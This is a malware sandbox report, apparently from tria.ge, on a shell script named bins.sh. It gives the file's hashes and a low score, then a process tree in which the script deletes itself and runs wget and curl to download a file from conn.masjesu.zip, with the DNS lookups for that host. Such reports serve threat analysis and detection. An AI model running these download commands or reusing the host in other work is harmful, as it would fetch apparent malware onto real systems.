Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
-
submitted
04/01/2025, 20:07 UTC
General
-
Target
bins.sh
-
Size
10KB
-
MD5
942d94d9683731e7c0e80fb1184455c6
-
SHA1
bcb4bc2b172dd258e1864c02f6e19b3a35b0d610
-
SHA256
67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8
-
SHA512
58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0
-
SSDEEP
96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z
Score
3/10
Malware Config
Signatures
-
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h2⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h2⤵
- System Network Configuration Discovery
-
Network
-
DNSconn.masjesu.zipRemote address:1.1.1.1:53Requestconn.masjesu.zipIN AResponseconn.masjesu.zipIN A66.63.187.225conn.masjesu.zipIN A146.19.162.73 -
DNSconn.masjesu.zipRemote address:1.1.1.1:53Requestconn.masjesu.zipIN AAAAResponse
-
185.125.188.61:443tls -
185.125.188.61:443tls
-
151.101.1.91:443tls, https
-
151.101.1.91:443extensions.gnome.orgtls
-
89.187.167.3:443tls, https
-
1.1.1.1:53conn.masjesu.zipdns
DNS Request
conn.masjesu.zip
DNS Response
66.63.187.225146.19.162.73
-
1.1.1.1:53conn.masjesu.zipdns
DNS Request
conn.masjesu.zip
-
224.0.0.251:5353